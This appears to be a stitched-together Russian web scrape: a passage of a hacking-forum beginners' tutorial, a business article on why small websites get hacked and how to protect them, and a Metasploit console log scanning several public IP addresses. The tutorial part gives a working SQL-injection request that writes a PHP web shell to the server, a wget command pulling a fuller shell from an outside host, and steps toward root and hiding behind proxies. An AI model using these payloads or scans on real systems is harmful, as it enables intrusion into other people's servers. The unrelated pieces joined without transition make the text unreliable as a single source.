3) Root MySQL – если не фильтруется кавычка, то можно залить шелл при помощи запроса _http://www.xxx.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8, 0x3C3F2073797374656D28245F4745545B2763275D293B203F 3E,10,11,12,13,14,15,16+FROM+mysql.user+INTO+OUTFI LE+’/home/www/shell.php’/*, где 0x3C3F2073797374656D28245F4745545B2763275D293B203F 3E – это закодированное выражение <? system($_GET[‘c’]); ?>, позволяющее выполнять команды на сервере. Далее заливаем более удобный для работы шелл командой _http://www.xxx.com?c=wget -O shell.php _http://vasiliy.narod.ru/shell.php.
Глава 2. Руууут.
Залив шелл мы теперь можем выполнять команды на сервере, а первой командой будет id, которая показывает ваши права в системе, а они обычно скромные. Хочется большего, тогда смотрим, что за ОС стоит на сервере(команда uname –a). Под эту версию ищем сплойт на сайте [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.], компилируем, запускаем(как это делать описано либо в начале самого сплойта, либо в статьях) и… руууууут! Цель достигнута.
Часть 4. ОБЕЗОПАСИЛИСЬ ЛИ?
Каждое преступление наказуемо, поэтому надо заранее себя обезопасить – проксики должны стать вашими лучшими друзьями… Почитайте про ЭТО, не поленитесь…
Часть 5. НАЗАСЫПКУ.
Что вы будете делать – то ли просто забрать базу, то ли дефейснуть сайт, или гнать трафф, а может проксик для юзеров [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.] .ru поставить — дело ваше, но запомните одно – ЧУЖИЕ САЙТЫ ВЗЛАМЫВАТЬ НЕ ЕСТЬ ГУД!!!
P.S. Приписки только по теме, наказываться за флуд будет строго!
P.P.S. Уважаемые профи, не судите строго, ведь это для новичков…
СОРИ ЗА ЦВЕТ, НО МНЕ КАЖЕТЬСЯ, ТАК ВИДНО ЛУЧШЕ)))
ВИДЕО ПО СТАТЬЕ (42 Mb) — [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
forum.xakepok.net
Ваш сайт взломали не по заказу конкурентов
Не так давно среди запросов, поступивших в нашу компанию, была заявка от владельцев сайта частного детского сада с группой на 9 человек. Сайт попал под «массовую раздачу» хакерской группировки – в результате дефейсДефейс (англ. deface) — тип хакерской атаки, в результате которой главная (или другая) страница сайта заменяется на страницу-заглушку злоумышленника. При этом доступ к другим разделам сайта может быть совсем заблокирован, а контент полностью удален. и заглушка на сайт «Hacked by Mahboul Luxe…». И смешно, и грустно.
Но только представьте, каково было недоумение владельцев сайта, что киберзлоумышленники, целый «легион», «хакнули» рязанский веб-проект, посвященный жизни девяти маленьких людей, которые носят колготки, ходят на горшок и верят в единорогов. Терзания клиента были поняты: где же связь между «киберлегионом» и грядущим событием в детсаде – «Праздником Осени», фото с которого должны были появиться в галерее веб-проекта?
Подобными вопросами часто задаются владельцы небольших сайтов: «Ну кому и для чего понадобилось меня “ломать”?» Впрочем, ответ на этот вопрос жертвы несанкционированного вторжения находят сами, и он для них почему-то всегда очевиден: «Конечно, это сделали конкуренты! Больше некому».
И вот рассерженный владелец скомпрометированного сайта уже хочет наказать взломщика по всей строгости закона. Наверное, всегда комфортнее думать, что за взломом стоит конкретный человек (конкурент), которого можно найти и «спустить с него шкуру».
В другом запросе владелица небольшого сайта, на котором были собраны школьные сочинения средних и старших классов, также во всем обвиняла фантомных конкурентов-злопыхателей, которые постоянно «следят» за ней и пытаются украсть ее контент.
Стоит ли говорить о том, что сайт был взломан с целью рассылки спама – для рекламы порно и виагры? И как же была удивлена (и даже расстроена ) владелица сайта – злоумышленники вовсе не интересовались сочинениями, раскрывающими образы Базарова и Печорина. Более того, их больше волновали не отношения Татьяны и Онегина, а объемы продаж контента для взрослых и лекарственного препарата.
Итак, 90% случаев за взломом мелкого сайта не стоит конкурент – и нет никакого специального заказа, который бы могли сделать недоброжелатели бизнеса. Сайты в большинстве случаев взламываются массово, и речь идет о нецелевом взломе. Веб-проекту достаточно попасть в хакерскую выборку с тысячью других «собратьев по несчастью», содержащих, например, одну и ту же критическую уязвимость. После чего сайт будет атакован наряду с другими, а дальше злоумышленник сможет использовать его по своему усмотрению.
Зачем хакеры взламывают сайты небольших компаний?
Конечно же, хакеры специально не ищут сайты с низкими показателями. Главный критерий для выборки – схожие технические характеристики, уязвимости, по которым жертвы попадают в одну группу. Массовый взлом для злоумышленника стоит сущие копейки – один запуск хакерской программы может принести многотысячный результат.
Кто окажется взломанным и зараженным – в результате неизвестно, дело случая. Это может быть и крупный информационный веб-портал, трафик которого можно использовать для перенаправления на нелегитимные ресурсы, и сайт местечкового тату-салона с посещаемостью тридцать человек в сутки. Злоумышленник каждому из них найдет свое применение.
Однако владельцы крупных, раскрученных веб-проектов, как правило, следят за безопасностью своих сайтов, поэтому в числе взломанных и зараженных, скорее, окажутся мелкие сайты, владельцы которых об угрозе не осведомлены.
Теперь поговорим о том целях взлома: что движет хакерами и как они используют скомпрометированные веб-ресурсы.
Банальное хулиганство
Желание поэкспериментировать с новой утилитой для взлома, попробовать свои силы в качестве интернет-злоумышленника. Особого вреда сайту это, скорее всего, не принесет, но его функциональность может быть нарушена, а репутация испорчена.
Самоутверждение в хакерских кругах или выражения своей политической позиции, религиозных взглядов и так далее
Результатом такого взлома может стать дефейс – заглушка на сайт с подписью хакера или хакерской группировки. Под хакерскую раздачу может попасть абсолютно любой веб-проект, вне зависимости от размера, тематики или географии (как было в примере с сайтом детского сада).
Площадка для рассылки спама или размещения фишинговых страничек
Взломанные сайты – это не только аудитория и трафик, но еще и ресурсы хостинга, которые злоумышленник может использовать в своих целях. Например, для распространения спама.
Современные спам-рассылки перестали быть банальной назойливой рекламой (которая раздражает, но все же не наносит вред пользователю или его компьютеру). Теперь это еще и активный инструмент для распространения фишингового контента и троянских программ.
Современные троянцы научились делать многое – воровать данные пользователей, загружать на атакуемый компьютер другие вредоносные приложения, шифровать данные, хранящиеся на диске, и вымогать за это деньги. Так незащищенные сайты становятся «соучастниками» настоящих преступлений.
Пример письма, распространяемого злоумышленниками от лица известной антивирусной компании «Доктор Веб», в котором под предлогом тестирования предлагается скачать троянца Trojan.PWS.Stealer.13052 (источник: официальный сайт компании):
Кроме того, что через взломанные сайты можно рассылать спам с фишинговым контентом, сами сайты могут способны пристанищем для фишинговых – подставных – страниц, с помощью которых злоумышленники воруют данные аккаунта пользователей (логин, пароль, данные кредитной карты и пр.), имитируя сайты банков, различных сервисов или почтовых служб.
Согласно отчету APWG (Anti-Phishing Working Group), количество зафиксированных случаев фишинга в 2015 году выросло в два раза по сравнению с 2014 годом и, по мнению экспертов, данная тенденция продолжится в будущем. А это значит, что хакерам потребуется еще больше ресурсов для распространения мошеннического контента.
Если ваш сайт взломан и используется для рассылки спама, распространения троянских программ или фишингового контента, то он будет тут же заблокирован хостинговой компанией.
Площадка для размещения вредоносного кода или файлов с целью заражения мобильных устройств на ОС Android
Самые популярные из них – это троянцы-локеры и банковские троянцы, перехватывающие SMS. В данном случае абсолютна не важна аудитория сайта, нужный объем трафика можно сгенерировать за счет кражи посетителей трафиковых проектов.
Согласно отчету компании «Доктор Веб», в прошлом году количество троянских программ, рассчитанных на пользователей Android, существенно возросло – и пока тенденция положительного роста сохранится. А значит, хакеры все так же будут заинтересованы в поиске новых площадок с мобильной аудиторией, на которых можно будет разместить вредоносное ПО.
Площадка для проведения атак на другие сайты или промежуточное звено для перенаправления посетителей на зараженные ресурсы
Взломанный сайт может служить вспомогательным инструментом для проведения атак на другие веб-ресурсы. Речь идет о брут-форсБрут-форс атака – (от английского brute force) – метод подбора пароля путем автоматического перебора паролей, генерящихся с учетом определенных критериев. или DOS-атакахDOS-атака – (от англ. Denial of Service) – атака, целью которой является исчерпание технических ресурсов и, как следствие, отказ в обслуживании легитимных запросов (например, обычные посетители сайта не могут открыть страницы по причине атаки ботами).. В этом случае конечной целью хакера становится более посещаемый или раскрученный веб-ресурс и т.п. Скомпрометированный мелкий веб-проект – всего лишь разменная монета в руках хакера для достижения более сложных целей.
Взломанный сайт может стать промежуточным звеном в связке «сплойтов», то есть использоваться для перенаправления ничего не подозревающих посетителей на зараженные сайты или страницы.
Наконец, сайт могут взломать и целенаправленно, чтобы атаковать «соседей» по серверу или для выполнения других неправомерных действий.
В годовом отчете компании Cisco специалисты по информационной безопасности отметили, что сайты на известной бесплатной CMS WordPress стали активно использоваться в качестве инструмента для создания на сервере инфраструктуры, поддерживающей программы-вымогатели, средства банковского мошенничества или фишинговые атаки. По данным Cisco, с февраля по октябрь 2015 года число доменов WordPress, используемых злоумышленниками, выросло на 221%.
Мотивация хакеров в большинстве случаев – деньги. Для реализации сложных многоступенчатых атак необходим мощный ресурс – сервер или группа серверов. Однако аренда или покупка дорогостоящего абузоустойчивого сервера сопряжена с серьезными затратами и большими рисками.
Гораздо проще, дешевле и безопаснее взломать десятки тысяч мелких незащищенных сайтов на хостинге, а какие это будут сайты – неважно.
Последствия взлома и заражения сайта
После проникновения хакера на сайт и использования веб-ресурса в неблаговидных целях может случиться практически что угодно.
- Во-первых, злоумышленник, у которого есть доступ к сайту, может полностью уничтожить веб-ресурс. Причем это может произойти абсолютно случайно, например, при тестировании утилиты для взлома.
- Хакер может выйти на контакт с владельцем скомпрометированного сайта и потребовать у него «выкуп». В противном случае пригрозит вывести сайт из строя без возможности восстановления его работоспособности (или уничтожит его).
- При обнаружении вредоносного кода на сайте в ходе плановой проверки хостинг-провайдер может заблокировать доступ к сайту или ко всему аккаунту хостинга. Если в этот момент на сайт зайдут посетители, то их ждет глубокое разочарование – информации они никакой не получат, а увидят лишь «заглушку» хостера и статус 503.
- Пока сайт находится в заблокированном состоянии, существует риск, что его страницы выпадут из поискового индекса. В момент индексации сайта робот сможет «увидеть» единственную страницу – «заглушку», которую на сайт поставил хостер.
- Если подозрительную активность на сайте обнаружит поисковая система, то сайт может попасть в базу вредоносных. И в поисковой выдаче рядом с веб-ресурсом будет красоваться ярлык, что сайт может угрожать безопасности компьютера пользователя.
- Взломанный и зараженный сайт может блокироваться браузерами на базе и Safe Browsing API Яндекса (например, Opera, Chrome и Яндекс.Браузер) или Google Safe Browsing API.
Так или иначе, бизнес теряет не только клиентов, но и их доверие: если пользователь увидит заглушку, информирующую о блокировке сайта хостингом, или сообщение о том, что данный ресурс может нанести вред его компьютеру, – он, скорее всего, быстро закроет браузер и больше не захочет возвращаться на подозрительный сайт.
Что делать малому бизнесу в условиях «нового» агрессивного интернета
За последние пять лет интернет-среда сильно изменилась, стала более агрессивной и опасной. Хакерское сообщество значительно помолодело, атаки на сайты увеличились в разы. Появились новые способы монетизации взломанных веб-ресурсов.
Усугубляется ситуация и нестабильной финансово-экономической обстановкой в стране, ростом безработицы, депрессивным настроением россиян. Мошеннические действия перемещаются из офлайна в онлайн, уровень киберпреступности в растет. Интернет кажется злоумышленникам более комфортной средой, где легче замести свои следы и избежать наказания. В результате желающих подзаработать нечестным путем становится больше.
Утилиты для взлома сайтов гуляют в свободном доступе, хакерские форумы изобилуют бесплатными руководствами по проведению кибер-атак – поэтому незащищенные веб-проекты находятся в особой категории риска.
Что делать в текущей ситуации? Главное – осознать, что проблема безопасности сайтов для малого бизнеса существует, и любой, даже небольшой, веб-проект может стать жертвой действий киберзлоумышленника. Поэтому нужно заботиться о безопасности своего интернет-проекта нужно своевременно.
Безопасность сайта – непрерывный процесс, состоящий из комплекса технических и организационных мер.
Техническая часть (выполняется штатным веб-мастером или сторонней службой технической поддержки):
- Своевременное обновление CMS и плагинов до последней доступной версии;
- Отслеживание информации о появлении новых критических уязвимостей и оперативный патчинг CMS и плагинов;
- Регулярная проверка сайта (как минимум раз в месяц) сканерами вредоносного кода, например, AI-BOLIT, на предмет взлома и заражения;
- Проведение дополнительных мероприятий по укреплению защиты интернет-ресурса от веб-атак (защита админ-панели сайта от брут-форс атак с помощью серверной аутентификации; ограничение доступа к системным файлам и пр.);
- Мониторинг изменений на сайте с помощью панелей веб-мастера «Яндекса» и Google;
- Регулярная смена паролей от сайта и хостинга;
- Отказ от использования небезопасного FTP, переход на безопасные протоколы SSH, SFTP и SCP;
- Регулярное сохранение бэкапов сайта не только на хостинге, но и локально на компьютере;
- Регулярная проверка компьютера, с которого выполняется администрирование сайта, коммерческим антивирусом;
- Работа с сайтом в открытых WiFi- сетях по VPNVPN (Virtual Private Network – виртуальная частная сеть) – обобщённое название технологий, позволяющих обеспечить одно или несколько сетевых соединений (логическую сеть) поверх другой сети (например, интернет). В настоящий момент VPN-подключения обеспечивают безопасный канал передачи данных.;
- И некоторые другие.
Комплекс мер по безопасности сайта (ответственный – сам владелец сайта):
- Владельцу сайта (в случае с малым бизнесом – это, чаще всего, директор компании) необходимо прописать свод правил. Они должны регламентировать работу службы технической поддержки по вопросам безопасности сайта, обеспечивать защиту сайта на хостинге и безопасную работу с интернет-ресурсом внутри компании, а также безопасное администрирование ресурса сторонними специалистами.
- Владельцу сайта также необходимо выработать алгоритм действий на тот случай, если сайт взломают.
Среди представителей малого бизнеса бытует ошибочное мнение, что безопасность сайта – это дорогостоящая процедура, которую могут позволить себе лишь крупные компании. На самом деле это не так. Чтобы защититься от нецелевой атаки, достаточно заказать услугу «цементирования» сайта в специализированной компании. Стоимость ее обычно варьируется в пределах 2,5 – 5 тысяч рублей.
rb.ru
msf > db_nmap 82.208.100.243
[*] Nmap: Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2017-01-16 19:03 MSK
[*] Nmap: Nmap scan report for 82-208-100-243.pg-nat-pool.mts-nn.ru (82.208.100.243)
[*] Nmap: Host is up (0.035s latency).
[*] Nmap: Not shown: 994 filtered ports
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 25/tcp open smtp
[*] Nmap: 110/tcp open pop3
[*] Nmap: 143/tcp open imap
[*] Nmap: 587/tcp open submission
[*] Nmap: 993/tcp open imaps
[*] Nmap: 995/tcp open pop3s
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 49.86 seconds
msf > hosts -h
Usage: hosts [ options ] [addr1 addr2 …]
OPTIONS:
-a,—add Add the hosts instead of searching
-d,—delete Delete the hosts instead of searching
-c <col1,col2> Only show the given columns (see list below)
-h,—help Show this help information
-u,—up Only show hosts which are up
-o <file> Send output to a file in csv format
-R,—rhosts Set RHOSTS from the results of the search
-S,—search Search string to filter by
-i,—info Change the info of a host
-n,—name Change the name of a host
-m,—comment Change the comment of a host
-t,—tag Add or specify a tag to a range of hosts
Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
——- — —- ——- ——— —— ——- —- ———
82.208.100.243 82-208-100-243.pg-nat-pool.mts-nn.ru Unknown device
85.140.7.139 ppp85-140-7-139.pppoe.mtu-net.ru Unknown device
85.140.7.255 85.140.7.255 Unknown device
93.120.214.97 93-120-214-97.dynamic.mts-nn.ru Unknown device
178.93.1.3 3-1-93-178.pool.ukrtel.net Unknown device
188.162.245.9 client.yota.ru Unknown device
192.168.77.138 192.168.77.138 Unknown device
msf > services -h
Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 …]
-a,—add Add the services instead of searching
-d,—delete Delete the services instead of searching
-c <col1,col2> Only show the given columns
-h,—help Show this help information
-s <name1,name2> Search for a list of service names
-p <port1,port2> Search for a list of ports
-r <protocol> Only show [tcp|udp] services
-u,—up Only show services which are up
-o <file> Send output to a file in csv format
-R,—rhosts Set RHOSTS from the results of the search
-S,—search Search string to filter by
Available columns: created_at, info, name, port, proto, state, updated_at
msf > services
Services
========
host port proto name state info
—- —- —— —- —— —-
82.208.100.243 25 tcp smtp open
82.208.100.243 110 tcp pop3 open
82.208.100.243 143 tcp imap open
82.208.100.243 587 tcp submission open
82.208.100.243 993 tcp imaps open
82.208.100.243 995 tcp pop3s open
85.140.7.139 25 tcp smtp open
85.140.7.139 80 tcp http open
85.140.7.139 110 tcp pop3 open
85.140.7.139 119 tcp nntp open
85.140.7.139 143 tcp imap open
85.140.7.139 465 tcp smtps open
85.140.7.139 563 tcp snews open
85.140.7.139 587 tcp submission open
85.140.7.139 993 tcp imaps open
85.140.7.139 995 tcp pop3s open
85.140.7.255 80 tcp http open
93.120.214.97 21 tcp ftp open
93.120.214.97 22 tcp ssh open
93.120.214.97 23 tcp telnet open
93.120.214.97 25 tcp smtp open
93.120.214.97 80 tcp http open
93.120.214.97 110 tcp pop3 open
93.120.214.97 119 tcp nntp open
93.120.214.97 139 tcp netbios-ssn open
93.120.214.97 143 tcp imap open
93.120.214.97 445 tcp microsoft-ds open
93.120.214.97 465 tcp smtps open
93.120.214.97 514 tcp shell filtered
93.120.214.97 563 tcp snews open
93.120.214.97 587 tcp submission open
93.120.214.97 993 tcp imaps open
93.120.214.97 995 tcp pop3s open
93.120.214.97 5431 tcp park-agent open
178.93.1.3 25 tcp smtp open
178.93.1.3 110 tcp pop3 open
178.93.1.3 119 tcp nntp open
178.93.1.3 143 tcp imap open
178.93.1.3 465 tcp smtps open
178.93.1.3 563 tcp snews open
178.93.1.3 587 tcp submission open
178.93.1.3 993 tcp imaps open
178.93.1.3 995 tcp pop3s open
188.162.245.9 25 tcp smtp open
188.162.245.9 80 tcp http open
188.162.245.9 110 tcp pop3 open
188.162.245.9 119 tcp nntp open
188.162.245.9 143 tcp imap open
188.162.245.9 465 tcp smtps open
188.162.245.9 563 tcp snews open
188.162.245.9 587 tcp submission open
188.162.245.9 993 tcp imaps open
188.162.245.9 995 tcp pop3s open
192.168.77.138 25 tcp smtp open
192.168.77.138 80 tcp http open
192.168.77.138 110 tcp pop3 open
192.168.77.138 143 tcp imap open
192.168.77.138 587 tcp submission open
192.168.77.138 993 tcp imaps open
192.168.77.138 995 tcp pop3s open
msf > services -c port,name,state
Services
========
host port name state
—- —- —- ——
82.208.100.243 25 smtp open
82.208.100.243 110 pop3 open
82.208.100.243 143 imap open
82.208.100.243 587 submission open
82.208.100.243 993 imaps open
82.208.100.243 995 pop3s open
85.140.7.139 25 smtp open
85.140.7.139 80 http open
85.140.7.139 110 pop3 open
85.140.7.139 119 nntp open
85.140.7.139 143 imap open
85.140.7.139 465 smtps open
85.140.7.139 563 snews open
85.140.7.139 587 submission open
85.140.7.139 993 imaps open
85.140.7.139 995 pop3s open
85.140.7.255 80 http open
93.120.214.97 21 ftp open
93.120.214.97 22 ssh open
93.120.214.97 23 telnet open
93.120.214.97 25 smtp open
93.120.214.97 80 http open
93.120.214.97 110 pop3 open
93.120.214.97 119 nntp open
93.120.214.97 139 netbios-ssn open
93.120.214.97 143 imap open
93.120.214.97 445 microsoft-ds open
93.120.214.97 465 smtps open
93.120.214.97 514 shell filtered
93.120.214.97 563 snews open
93.120.214.97 587 submission open
93.120.214.97 993 imaps open
93.120.214.97 995 pop3s open
93.120.214.97 5431 park-agent open
178.93.1.3 25 smtp open
178.93.1.3 110 pop3 open
178.93.1.3 119 nntp open
178.93.1.3 143 imap open
178.93.1.3 465 smtps open
178.93.1.3 563 snews open
178.93.1.3 587 submission open
178.93.1.3 993 imaps open
178.93.1.3 995 pop3s open
188.162.245.9 25 smtp open
188.162.245.9 80 http open
188.162.245.9 110 pop3 open
188.162.245.9 119 nntp open
188.162.245.9 143 imap open
188.162.245.9 465 smtps open
188.162.245.9 563 snews open
188.162.245.9 587 submission open
188.162.245.9 993 imaps open
188.162.245.9 995 pop3s open
192.168.77.138 25 smtp open
192.168.77.138 80 http open
192.168.77.138 110 pop3 open
192.168.77.138 143 imap open
192.168.77.138 587 submission open
192.168.77.138 993 imaps open
192.168.77.138 995 pop3s open
msf > use auxiliary/scanner/http/crawler
msf auxiliary(crawler) > show options
Module options (auxiliary/scanner/http/crawler):
Name Current Setting Required Description
—- ————— ——— ————
DOMAIN WORKSTATION yes The domain to use for windows authentication
HttpPassword no The HTTP password to specify for authentication
HttpUsername no The HTTP username to specify for authentication
MAX_MINUTES 5 yes The maximum number of minutes to spend on each URL
MAX_PAGES 500 yes The maximum number of pages to crawl per URL
MAX_THREADS 4 yes The maximum number of concurrent requests
Proxies no A proxy chain of format type:host:port[,type:host:port][…]
RHOST yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
URI / yes The starting page to crawl
VHOST no HTTP server virtual host
msf auxiliary(crawler) > set RHOST 82.208.100.243
RHOST => 82.208.100.243
msf auxiliary(crawler) > set URI /WackoPicko/
URI => /WackoPicko/
msf auxiliary(crawler) > run
[*] Crawling http://82.208.100.243:80/WackoPicko/…
[-] [00001/00500] ERR — 82.208.100.243 — http://82.208.100.243/WackoPicko/
[*] Crawl of http://82.208.100.243:80/WackoPicko/ complete
[*] Auxiliary module execution completed
msf auxiliary(crawler) > load wmap
.-.-.-..-.-.-..—..—.
| | | || | | || | || |-‘
`——‘`-‘-‘-‘`-^-‘`-‘
[WMAP 1.5.1] === et [ ] metasploit.com 2012
[*] Successfully loaded plugin: wmap
msf auxiliary(crawler) > wmap_sites
[*] Usage: wmap_sites [options]
-h Display this help text
-a Add site (vhost,url)
-d [ids] Delete sites (separate ids with space)
-l List all available sites
-s [id] Display site structure (vhost,url|ids) (level)
msf auxiliary(crawler) > wmap_sites -l
[*] Available sites
===============
Id Host Vhost Port Proto # Pages # Forms
— —- —— —- —— ——- ——-
0 82.208.100.243 82.208.100.243 80 http 1 0
1 85.140.7.139 85.140.7.139 80 http 1 0
2 85.140.7.255 85.140.7.255 80 http 1 0
3 188.162.245.9 188.162.245.9 80 http 1 0
4 192.168.77.138 192.168.77.138 80 http 1 0
msf auxiliary(crawler) > wmap_sites -s 0
[82.208.100.243] (82.208.100.243)
|——/WackoPicko
msf auxiliary(crawler) > wmap_targets
[*] Usage: wmap_targets [options]
-h Display this help text
-t [urls] Define target sites (vhost1,url[space]vhost2,url)
-d [ids] Define target sites (id1, id2, id3 …)
-c Clean target sites list
-l List all target sites
msf auxiliary(crawler) > wmap_targets -t
msf auxiliary(crawler) > wmap_run
[*] Usage: wmap_run [options]
-h Display this help text
-t Show all enabled modules
-m [regex] Launch only modules that name match provided regex.
-p [regex] Only test path defined by regex.
-e [/path/to/profile] Launch profile modules against all matched targets.
(No profile file runs all enabled modules.)
msf auxiliary(crawler) > wmap_run -e
[*] Using ALL wmap enabled modules.
[-] NO WMAP NODES DEFINED. Executing local modules
[-] Targets have not been selected.
msf auxiliary(crawler) >
www.hackzone.ru